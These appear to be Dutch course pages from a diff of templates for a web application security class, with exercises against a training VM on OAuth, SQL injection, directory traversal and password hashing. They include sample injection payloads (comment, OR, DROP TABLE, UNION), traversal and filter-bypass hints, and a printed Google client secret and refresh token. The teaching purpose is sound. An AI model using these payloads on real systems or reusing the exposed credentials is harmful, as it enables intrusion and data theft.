als je een
|
||||
<code>access_denied</code> krijgt moet je nog een keer heel goed controleren of je redirect_uri echt
|
||||
<i>exact</i> hetzelfde is als toen je je app hebt geregistreerd.</code>. Krijg je een andere error? Controleer dan nog een
|
||||
keer extra goed of de URL eindigt op
|
||||
<code>/token/</code> (die laatste slash is belangrijk!) en dat je alle data verstuurd als form data via POST.</p>
|
||||
|
||||
<img src="static/img/oauth_exchange_auth_code.png" class="screenshot" style="margin: 20px; width: 80%; margin-left: auto; margin-right: auto;">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Copy paste de response die je hebt gekregen waar de refresh token in staat</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_refresh_token.points max="5" %}
|
||||
<textarea class="question-input" name="answer_oauth_refresh_token">{{ answers.answer_oauth_refresh_token.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<img src="static/img/oauth_refresh_token.png" style="float: right; width: 25%">
|
||||
<p>Gefeliciteerd, je hebt nu een refresh token! Een oneindige bron van nieuwe access tokens. Je vraagt je bijna af waarom OAuth
|
||||
uberhaupt de moeite doet om een authorisatie code te hebben als die toch maar zo kort gebruikt wordt. De reden hiervoor
|
||||
is dat dit mechanisme ervoor zorgt dat alleen de webapplicatie de refresh en access tokens kan ophalen, en niet de gebruiker.
|
||||
Zonder de juiste client_secret kan de gebruiker namelijk helemaal niets met de authorisatie code.</p>
|
||||
|
||||
<p>We schakelen voor het gebruik van de refresh token even over naar een hele andere site</p>
|
||||
|
||||
<h3>Google</h3>
|
||||
|
||||
<p>Bij Google hebben we een OAuth client geregistreerd en de volgende gegevens gekregen:</p>
|
||||
|
||||
<code style="display: block;">
|
||||
Client id: 799427728270-ahr6bg713mtkh2htskbmqko8hpheq1md.apps.googleusercontent.com<br>
|
||||
Client secret: 3W9FcQefBmhX7CT1FgzqiCdR<br>
|
||||
Refresh token: 1/WfdEEjWgj5Lm8p6wZzoTCeirQz7e4hMDIxvOkdvSjsU<br></code>
|
||||
|
||||
<p>Met deze gegevens kunnen we weer een POST doen naar de token endpoint (voor Google: https://accounts.google.com/o/oauth2/token)
|
||||
om een access token te genereren. Dit keer hoeven we geen redirect_uri mee te sturen en moeten we de grant_type parameter
|
||||
op 'refresh_token' zetten:</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Deze keer geen slash achteraan de token URL endpoint, goed opletten!</p>
|
||||
|
||||
<img src="static/img/oauth_google_refresh.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
|
||||
|
||||
<p>Gebruik de access token die je krijgt om een API call te doen naar
|
||||
<span class="url">https://www.googleapis.com/calendar/v3/calendars/websecpaulwagener@gmail.com/events</span>. Vergeet niet weer de juiste
|
||||
Authorization header te gebruiken om je access token in te zetten! Als je het goed doet krijg je alle events uit onze Google
|
||||
Calender te zien in JSON formaat.</p>
|
||||
|
||||
<img src="static/img/oauth_google_call_api.png" class="screenshot" style="width: 70%; margin: 20px; display: block">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is de code die in de Geheime afspraak staat? </span>
|
||||
{% include "points.html" with points=answers.answer_oauth_calendar_secret_code.points max="10" %}
|
||||
<input class="question-input" name="answer_oauth_calendar_secret_code" value="{{ answers.answer_oauth_calendar_secret_code.string }}"></input>
|
||||
</div>
|
||||
|
||||
<p>Genoeg tutorial, tijd voor het echte werk! We gaan handmatig het hele OAuth proces doorlopen voor een Google API. Dat mag
|
||||
weer de
|
||||
<a href="https://developers.google.com/google-apps/calendar/v3/reference/events/list" target="_blank">Google Calendar API</a> zijn maar dan voor je eigen Google Calendar. Maar je mag ook een
|
||||
<a href="https://developers.google.com/apis-explorer/" target="_blank">andere API</a> kiezen zoals
|
||||
<a href="https://developers.google.com/gmail/api/" target="_blank">Gmail</a> of
|
||||
<a href="https://developers.google.com/drive/v2/reference/" target="_blank">Google Drive</a>.</p>
|
||||
|
||||
<p>Details over Google OAuth 2.0 kan je vinden op
|
||||
<a href="https://developers.google.com/identity/protocols/OAuth2" target="_blank">deze pagina</a>. Let op dat je API's eerst moet activeren in de
|
||||
<a href="http://console.developers.google.com/" target="_blank">Developer Console</a>. Dat is ook de plek waar je je Client ID en Client secret krijgt, die maak je aan onder APIs &
|
||||
auth > Credentials. Maak een nieuwe client aan voor een standaard web applicatie.</p>
|
||||
|
||||
<p>Gebruik de authorisatie URL zoals die
|
||||
<a href="https://developers.google.com/identity/protocols/OAuth2WebServer#formingtheurl" target="_blank">hier</a> staat gedocumenteerd.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint: </strong>Vergeet niet de juiste scope te gebruiken zodat de gebruiker ook echt toestemming kan geven voor een bepaalde
|
||||
API. Bij Google zijn de scopes meestal URL's. Voor Google Calendar kan je de scope bijvoorbeeld
|
||||
<a href="https://developers.google.com/google-apps/calendar/auth">hier</a> vinden</p>
|
||||
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf de HTTP requests die je hebt gemaakt om de token te krijgen EN de API te gebruiken (en ook de uitkomst van die
|
||||
requests). Gevoelige data mag je met ***** censureren.</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_google_requests.points max="15" %}
|
||||
<textarea class="question-input" name="answer_oauth_google_requests" style="height: 200px">{{ answers.answer_oauth_google_requests.string }}</textarea>
|
||||
</div>
|
||||
|
||||
<h3>Mini webapp</h3>
|
||||
|
||||
<p>Maak een kleine webapplicatie in PHP of JavaScript waarmee je de requests uit de vorige opdracht automatisch uitvoert (je
|
||||
mag ook een OAuth framework gebruiken)</p>
|
||||
|
||||
<img src="static/img/webapp1.png" class="screenshot" style="width: 40%">
|
||||
<img src="static/img/webapp2.png" class="screenshot" style="width: 40%">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Plak de broncode van je webapplicatie in het tekstvak</span>
|
||||
{% include "points.html" with points=answers.answer_oauth_web_app.points max="20" %}
|
||||
<textarea class="question-input" name="answer_oauth_web_app" style="height: 200px">{{ answers.answer_oauth_web_app.string }}</textarea>
|
||||
</div>
|
||||
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,78 @@
|
||||
<h1>Insecure Direct Object References</h1>
|
||||
|
||||
<img src="/static/img/imgr.png">
|
||||
|
||||
<h2>Image site</h2>
|
||||
|
||||
<p>Ons nieuwe doelwit is de site "imgr", een populaire website waar vaak meme plaatjes naar worden geüpload. Er is geen database
|
||||
dus we kunnen geen SQL injection uitvoeren, en cross-site scripting is ook geen mogelijkheid meer op deze site (...toch?).</p>
|
||||
|
||||
<p>We zijn geïnteresseerd in de inhoud van een bestandje wat staat in de VM: "/etc/geheim.txt". Hack de website en vind uit
|
||||
wat de inhoud van dit bestandje is.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> het lijkt er op dat je niet alleen plaatjes kan uploaden...</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Zoek een manier om een eigen php script te uploaden en te runnen</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat staat er in /etc/geheim.txt? (Het is een supersecret TODO item)</span>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<h2>Image 2</h2>
|
||||
<p>Ga naar "Image 2". De site heeft het probleem opgelost door de upload map te verplaatsen naar een map die niet via de webserver
|
||||
bereikbaar is. De plaatjes worden nu via een speciaal image.php (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/image.php">source</a>) bestandje geinclude. Daarmee heeft de site ook weer een enorm security probleem geïntroduceerd! </p>
|
||||
|
||||
<p class="hint">Met een paar extra
|
||||
<code>../</code> kan je file_get_contents() een hele hoop bestanden laten uitlezen!</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je nu rechtstreeks de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
</div>
|
||||
|
||||
<p>Verander image.php in image_check_prefix.php (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_check_prefix.php">source</a>) . In dit bestand is een extra beveiliging die checkt of het pad begint met de map 'uploads'</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je met dit meer 'beveiligde' script de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
</div>
|
||||
|
||||
<p>Verander de bestandsnaam in image_remove_traversal.php (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/image/image_remove_traversal.php">source</a>) , dit script heeft nu een beveiliging die alle '../' uit de string verwijderd zodat je niet meer ../ in de
|
||||
URL kan gebruiken.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Weet je nog hoe je deze beveiliging ongedaan hebt gemaakt bij die website die alle SELECT en UNION uit de
|
||||
URL filterde?</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je via het image_remove_traversal.php script de inhoud van /etc/geheim.txt uitlezen?</span>
|
||||
</div>
|
||||
|
||||
<p>Zoek op internet naar 'Directory traversal' en zoek uit wat voor technieken er nog meer mogelijk zijn.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf hoe jij de site zou programmeren zodat alle directory traversal aanvallen niet meer mogelijk zijn.</span>
|
||||
</div>
|
||||
|
||||
<img src="/static/img/parent_dir.png" class="center-block">
|
||||
|
||||
<h2>Image 3</h2>
|
||||
|
||||
<p>Ga naar "Image 3". imgr heeft hun site uitgebreid met extra pagina's (
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/image/index_more_pages.php">source</a>). De afbeeldingen hebben ze maar weggehaald omdat daar teveel security problemen mee waren.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> imgr zijn bezig met het maken van een inlogpagina en een registreren pagina.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Heb je de broncode al bekeken? Die regel met
|
||||
<code>include()</code> ziet er interessant uit...</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Beschrijf hoe je met deze site de inhoud van /etc/geheim.txt kan achterhalen</span>
|
||||
</div>
|
||||
@@ -0,0 +1,7 @@
|
||||
<div class="points">
|
||||
{% if points != None %}
|
||||
<i>{{ points }} van de {{ max }} punten</i>
|
||||
{% else %}
|
||||
<span class="question-points">{{ max }}</span> punten
|
||||
{% endif %}
|
||||
</div>
|
||||
@@ -0,0 +1,6 @@
|
||||
<h1>Upload hier je certificate signing request (.csr):</h1>
|
||||
<form enctype="multipart/form-data" method="POST">
|
||||
{% csrf_token %}
|
||||
<input type="file" name="csr">
|
||||
<input type="submit">
|
||||
</form>
|
||||
@@ -0,0 +1,224 @@
|
||||
{% extends 'base.html' %} {% block content %}
|
||||
<style>
|
||||
code i {
|
||||
color: blue;
|
||||
font-style: normal;
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
p code {
|
||||
padding: 0;
|
||||
margin: 2px;
|
||||
}
|
||||
</style>
|
||||
|
||||
<h1>Web App Security</h1>
|
||||
|
||||
<p>Welkom bij de cursus Web Application Security! Deze cursus gaan we ons richten op het hacken van websites. En met die zin
|
||||
komen we meteen bij een gouden regel:</p>
|
||||
|
||||
<blockquote>Het hacken van websites zonder toestemming is
|
||||
<strong>niet</strong> toegestaan</blockquote>
|
||||
|
||||
<p>Om de opdrachten te kunnen maken krijg je toestemming om de websites in de VM te mogen hacken ;). We gaan in verschillende
|
||||
manieren bekijken om in te breken op een website. Aan jullie de taak om die tijdens de workshop in de praktijk te brengen</p>
|
||||
|
||||
<img src="/static/img/security_banner.jpg" style="width: 50%" class="center-block">
|
||||
|
||||
<h1>SQL injection</h1>
|
||||
|
||||
<p>We beginnen bij één van de meest veelvoorkomende beveiligingslekken die er bij webapplicaties voorkomen. Dagelijks nog zijn
|
||||
er
|
||||
<a href="https://www.google.nl/webhp?#safe=off&tbm=nws&q=sql+injection" target="_blank">nieuwsberichten</a> van websites die hun code niet goed op orde hebben en kwetsbaar zijn tegen deze aanval. Deze week gaan
|
||||
we kijken hoe deze aanval werkt en hoe je er tegen kunt beveiligen.</p>
|
||||
|
||||
<p>In bijna alle webapplicatie projecten heb je te maken met een database waar je mee communiceert via SQL. Een typische query
|
||||
die wordt uitgevoerd is bijvoorbeeld deze:</p>
|
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul</i>' AND heeftbetaald='ja'</code>
|
||||
|
||||
<p>Waarbij het blauwe gedeelte invoer is uit bijvoorbeeld een GET parameter ('?naam=paul'). Er lijkt niks aan de hand, maar
|
||||
als we de invoer niet zorgvuldig filteren geven de gebruiker de kans om de query op onbedoelde manier te veranderen.</p>
|
||||
|
||||
<h5>Commentaar</h5>
|
||||
<p>Met
|
||||
<code>-- </code> (streepje, streepje, spatie) is het in SQL mogelijk om commentaar te zetten in je query, hetzelfde wat je in PHP met
|
||||
<code>//</code> zou doen. Met een slim gekozen invoer kunnen we de query er zo uit laten zien:</p>
|
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' -- </i>' AND heeftbetaald='ja'</code>
|
||||
|
||||
<p>De database voert de query uit, maar niet zoals de gebruiker hem heeft bedoeld: alles achter de -- wordt genegeerd als commentaar.
|
||||
De query zal dus ook rijen teruggeven waar
|
||||
<i>heeftbetaald</i> niet op 'ja' staat, wat afhankelijk van de code van de website kan betekenen dat we gratis dingen kunnen
|
||||
kopen :)</p>
|
||||
|
||||
<h5>AND, OR</h5>
|
||||
|
||||
<p>Een andere manier om queries te veranderen is om nieuwe logica (AND, OR) te injecteren in de SQL. We kunnen bijvoorbeeld
|
||||
de volgende query maken met de juiste invoer:</p>
|
||||
|
||||
<code>SELECT * FROM leden WHERE naam='<i>paul' OR 'bla'='</i>' AND heeftbetaald='ja'</code>
|
||||
|
||||
<p>Deze query maakt weer het
|
||||
<i>heeftbetaald='ja'</i> gedeelte nutteloos. Als de naam al overeenkomt maakt het niet uit wat er achter de OR staat, het
|
||||
resultaat is altijd true (de haakjes worden als volgt geplaatst:
|
||||
<code>. OR ( . AND . )</code>).</p>
|
||||
|
||||
<h5>Meerdere queries</h5>
|
||||
<p>Eén van de meest gevaarlijke is als het mogelijk is om compleet nieuwe queries uit te kunnen voeren op de database. Bedenk
|
||||
eens wat er gebeurt als de gebruiker deze invoer geeft:</p>
|
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0; DROP TABLE leden;</i></code>
|
||||
|
||||
<p>Met
|
||||
<code>;</code> geven we aan dat we een nieuwe query beginnen, waarna we vervolgens vrij zijn om elke query uit te voeren die we maar
|
||||
willen. Let wel dat het uitvoeren van meerdere queries met bijvoorbeeld mysqli_query() iets is wat standaard uit staat.
|
||||
Deze techniek is extra gevaarlijk omdat deze immuun is tegen escapen als het invoer is die niet tussen quotejes staat.</p>
|
||||
|
||||
<h5>UNION</h5>
|
||||
|
||||
<p>We kunnen met behulp van de
|
||||
<a href="http://www.w3schools.com/sql/sql_union.asp" target="_blank">UNION</a> operator ook informatie halen uit andere tabellen in de database:</p>
|
||||
|
||||
<code>SELECT naam FROM leden WHERE id=<i>0 UNION SELECT wachtwoord FROM admins</i></code>
|
||||
|
||||
<p>De query haalt nu namen van leden op, samen met wachtwoorden uit de admins tabel. Belangrijk voor de UNION is dat beide queries
|
||||
evenveel kolommen teruggeven.</p>
|
||||
|
||||
<img src="/static/img/shield.png" style="float: right">
|
||||
<h4>Countermeasures</h4>
|
||||
|
||||
<p>Het is niet moeilijk om bovenstaande aanvallen te voorkomen. Met een paar simpele aanpassingen kan je ervoor zorgen dat je
|
||||
SQL altijd wordt uitgevoerd zoals je die bedoeld hebt.</p>
|
||||
|
||||
<h5>Stored procedures</h5>
|
||||
<p>Je slaat de SQL op als stored procedure in de database en roept deze aan vanuit je code. Omdat de SQL in de database staat
|
||||
in plaats op de server is SQL injectie niet mogelijk</p>
|
||||
|
||||
<h5>Prepared statements</h5>
|
||||
<p>Dit is de meest gebruikte en veilige manier. Met vraagtekentjes geef je aan op welke plekken de invoer moet komen en die
|
||||
vul je dan later in. De SQL wordt altijd uitgevoerd zoals je hem bedoeld hebt. En ook hier is SQL injectie onmogelijk.
|
||||
Lees
|
||||
<a href="http://php.net/manual/en/mysqli.prepare.php" target="_blank">hier</a> verder</p>
|
||||
|
||||
<h5>Escaping</h5>
|
||||
<p>Je kan ook alle invoer zelf escapen met functies zoals
|
||||
<a href="http://php.net/manual/en/mysqli.real-escape-string.php" target="_blank">mysqli_real_escape_string()</a>. Zorg ervoor dat je dan consequent alle strings escaped met die functie en alle getallen
|
||||
cast naar int's voordat je ze in je SQL plakt. Als je er ook maar eentje mist heb je al een SQL injection mogelijkheid
|
||||
op je website!</p>
|
||||
|
||||
<p>Op
|
||||
<a href="http://www.sqltutorial.nl/artikelen/sqlinjections/soorten_sql_injection.html" target="_blank">deze site</a> kan je het allemaal extra nalezen. Maar voor nu genoeg theorie, let's HACK!</p>
|
||||
|
||||
<img src="/static/img/sql_injectie.png" class="center-block">
|
||||
|
||||
<h2>Bank</h2>
|
||||
<p>Bob is al jaren trouwe klant en gebruikt de site dagelijks om te kijken hoeveel geld er op zijn rekening staat. Achter op
|
||||
zijn poespas pas heeft hij met een viltstift „Niet vergeten: Bob 123456” geschreven. Gebruik de site om te kijken hoeveel
|
||||
geld Bob op zijn rekening heeft staan.</p>
|
||||
|
||||
<p>Alice is ook klant van de bank en wij willen ook graag weten hoeveel geld zij op haar rekening heeft staan. We gaan daarom
|
||||
haar rekening hacken met behulp van SQL.</p>
|
||||
|
||||
<p>Ga nu aan de slag en hack het account van Alice! Gebruik hiervoor de bovenste link
|
||||
<span class="website">"Bank"</span> op de startpagina van jouw virtuele machine.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 1:</strong> Kijk eerst eens wat er gebeurt als je inlogt met een enkele quote in de gebruikersnaam (').</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 2:</strong> Met -- (twee streepjes gevolgd door een spatie) kan je commentaar achter een regel zetten in SQL.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint 3:</strong> Bekijk de broncode achter de site:
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51</a>
|
||||
De code beschouwt een gebruiker als ingelogd als de query een rij uit de gebruikerstabel teruggeeft. Manipuleer de query
|
||||
zodat deze de gegevens van Alice teruggeeft, zonder dat je het wachtwoord hoeft te weten.</p>
|
||||
|
||||
<img src="/static/img/poespas.png" style="width: 70%" class="center-block screenshot">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoeveel geld heeft Alice op haar rekening staan?</span>
|
||||
</div>
|
||||
|
||||
<p>Waarschijnlijk heb je SQL commentaar (--) gebruikt in de vorige opdracht. Voer nu een andere SQL injectie uit door alleen
|
||||
het wachtwoord veld te gebruiken. Gebruik niet de SQL commentaar techniek maar verander nu de logica van de query (AND,
|
||||
OR) zodat er niet meer gecontroleerd wordt op het wachtwoord.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welk 'wachtwoord' lukt het altijd om in te loggen? (gebruikersnaam moet je leeglaten)</span>
|
||||
</div>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Maak er een query van die alle gebruikers teruggeeft, de site logt dan in als de eerste gebruiker.</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/bank/index.php#L51" target="_blank">PHP broncode</a> en los het probleem op.</span>
|
||||
</div>
|
||||
|
||||
<p>Open de
|
||||
<span class="website">"Bank (multi_query)"</span> pagina. Op deze pagina werken ook SQL Injection technieken die gebruik maken van meerdere queries
|
||||
(queries gescheiden door een ; ).</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke
|
||||
<i>"gebruikersnaam"</i> kan je (alleen) Bob miljonair maken? (Het saldo staat in een kolom "balans")</span>
|
||||
</div>
|
||||
|
||||
<img src="/static/img/bank_schema.png">
|
||||
|
||||
<h2>Webshop</h2>
|
||||
|
||||
<p>Inloggen in een ander account is leuk. Maar echte hackers stelen kostbare data uit een website. Dat gaan we nu doen met de
|
||||
webshop van Leaky's. Gebruik hiervoor de link
|
||||
<span class="website">"Webshop"</span> op de startpagina van jouw virtuele machine.</p>
|
||||
|
||||
<p>Je kan de broncode vinden op:
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62</a>
|
||||
</p>
|
||||
|
||||
<p>Zoals je ziet hebben ze hier gebruik gemaakt van mysqli::real_escape_string(). Je kan dus geen gebruik meer maken van rare
|
||||
quotejes om de query aan te passen.</p>
|
||||
|
||||
<p>Maar met behulp van de UNION techniek kunnen we alsnog data stelen uit de website.</p>
|
||||
|
||||
<p>In de database is er nog een tabel "gebruikers" waar gebruikersnamen en wachtwoorden in staan. Steel deze informatie uit
|
||||
de database!</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> Verander het cijfer in de url van de product_details.php pagina in de letter 'a' zodat je de query kan lezen.
|
||||
</p>
|
||||
|
||||
<img src="/static/img/webshop_schema.png">
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat zijn de gebruikersnamen en wachtwoorden van de 4 gebruikers in de database? (de id's van de gebruikers zijn 1,2,3 en
|
||||
4)
|
||||
</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Bekijk de
|
||||
<a href="https://git.paulwagener.nl/Paul/Security-VM/src/master/webshop/product_detail.php#L62" target="_blank">broncode</a> en verbeter deze zodat je geen SQL injection meer kan gebruiken.</span>
|
||||
</div>
|
||||
|
||||
<p>Open de pagina
|
||||
<span class="website">"Webshop (replace)"</span>. De maker van deze website heeft extra maatregelen genomen en woorden als SELECT en UNION uit
|
||||
de invoer gefilterd.</p>
|
||||
|
||||
<p class="hint">
|
||||
<strong>Hint:</strong> SELSELECTECT</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Met welke URL kan je nu het wachtwoord van Marco achterhalen?</span>
|
||||
</div>
|
||||
|
||||
<h2>Wereldwijs</h2>
|
||||
|
||||
<p>Ga in de VM naar de
|
||||
<span class="website">"Wereldwijs"</span> pagina. Op deze pagina kunnen studenten op spelenderwijs leren over de wereld. Maar deze site heeft
|
||||
een diep donker geheim die het niet toont aan de wereld, er is een geheime pagina met id 0.</p>
|
||||
|
||||
<p>Geen hints en geen broncode deze keer. Aan jullie de taak om de site te hacken (meerdere manieren mogelijk).</p>
|
||||
{% endblock %}
|
||||
@@ -0,0 +1,28 @@
|
||||
<h1>Virtuele machine</h1>
|
||||
|
||||
<p>Tijdens deze cursus gaan we hacken leren door het te doen. Helaas voor ons zijn de meeste bedrijfsnetwerken zeer pinnig op
|
||||
verdachte hackactiviteiten. Om te voorkomen dat iedereen meteen in quarantaine wordt gezet of boze systeembeheerders achter
|
||||
zich aan krijgt bieden we een VM aan waarmee we lokaal het hacken kunnen oefenen</p>
|
||||
|
||||
<a href="/security-vm.zip" style="font-size: x-large; text-align: center; display:block;margin:1em;">Download hier de VM</a>
|
||||
|
||||
<p>Als de VM opstart krijg je een IP adres te zien, als je hier heen gaat kom je bij de sites uit die we voor de opdrachten
|
||||
gaan gebruiken.</p>
|
||||
|
||||
<img src="/static/img/vm.png" class="screenshot center-block" style="width: 70%">
|
||||
|
||||
<p>Om de VM te starten is het nodig om VMWare te installeren. Dit is gratis te downloaden voor
|
||||
<a href="https://www.vmware.com/go/tryplayer" target="_blank">Windows</a> en voor
|
||||
<a href="https://www.vmware.com/go/tryfusion" target="_blank">MacOS</a>
|
||||
</p>
|
||||
|
||||
<h2>Troubleshooting</h2>
|
||||
|
||||
<p>Soms lukt het niet om met de browser de opdrachtensites te bekijken, probeer dan één van de volgende oplossingen:</p>
|
||||
|
||||
<ul>
|
||||
<li>Controleer in Windows of je niet de VMWare netwerkverbingen hebt gedisabled</li>
|
||||
<li>Probeer in de instellingen van de VM te switchen tussen NAT/bridged</li>
|
||||
<li>Maak een
|
||||
<a href="https://www.ubuntu.com/download/desktop" target="_blank">Ubuntu</a> VM en ga in deze VM met Firefox naar het IP adres</li>
|
||||
</ul>
|
||||
@@ -0,0 +1,389 @@
|
||||
<h1>Wachtwoorden</h1>
|
||||
|
||||
<img src="/static/img/password.png" class="center-block">
|
||||
|
||||
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben al gezien dat het niet onmogelijk
|
||||
is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden
|
||||
zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is
|
||||
er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te
|
||||
<b>hashen</b>.</p>
|
||||
|
||||
<h3>Hashfunctie</h3>
|
||||
|
||||
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige
|
||||
uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p>
|
||||
|
||||
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> > md5 >
|
||||
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly="">
|
||||
|
||||
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar
|
||||
ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen
|
||||
wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk
|
||||
dat eigenlijk de enige 'praktische' optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op
|
||||
dezelfde hash (brute-force).</p>
|
||||
|
||||
<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker
|
||||
inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij
|
||||
hetzelfde wachtwoord ingevuld!</p>
|
||||
|
||||
<h3>Rainbow tables</h3>
|
||||
|
||||
<p>Zo moeilijk als het is om een hash terug te
|
||||
<i>rekenen</i>, zo makkelijk is het om een hash terug
|
||||
<i>
|
||||
<a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a>
|
||||
</i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend
|
||||
en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel
|
||||
als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze
|
||||
aanval:</p>
|
||||
|
||||
<h3>Salt</h3>
|
||||
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken
|
||||
voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat
|
||||
zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet
|
||||
al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p>
|
||||
|
||||
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%">
|
||||
|
||||
<h1>Opdrachten</h1>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had
|
||||
deze gebruiker?</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span>
|
||||
</div>
|
||||
|
||||
<h2>Nieuws</h2>
|
||||
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden
|
||||
gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de
|
||||
tabel inzien.</p>
|
||||
|
||||
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers
|
||||
een veelgebruikt wachtwoord.</p>
|
||||
|
||||
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p>
|
||||
|
||||
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p>
|
||||
|
||||
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Wat is het wachtwoord van Pete?</span>
|
||||
</div>
|
||||
|
||||
<div class="question">
|
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span>
|
||||
</div>
|
||||
|
||||
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier
|
||||
op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de
|
||||
site wordt feestelijk weer geopend.</p>
|
||||
|
||||
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een
|
||||
kort fragment van een logbestand terugvinden:</p>
|
||||
|
||||
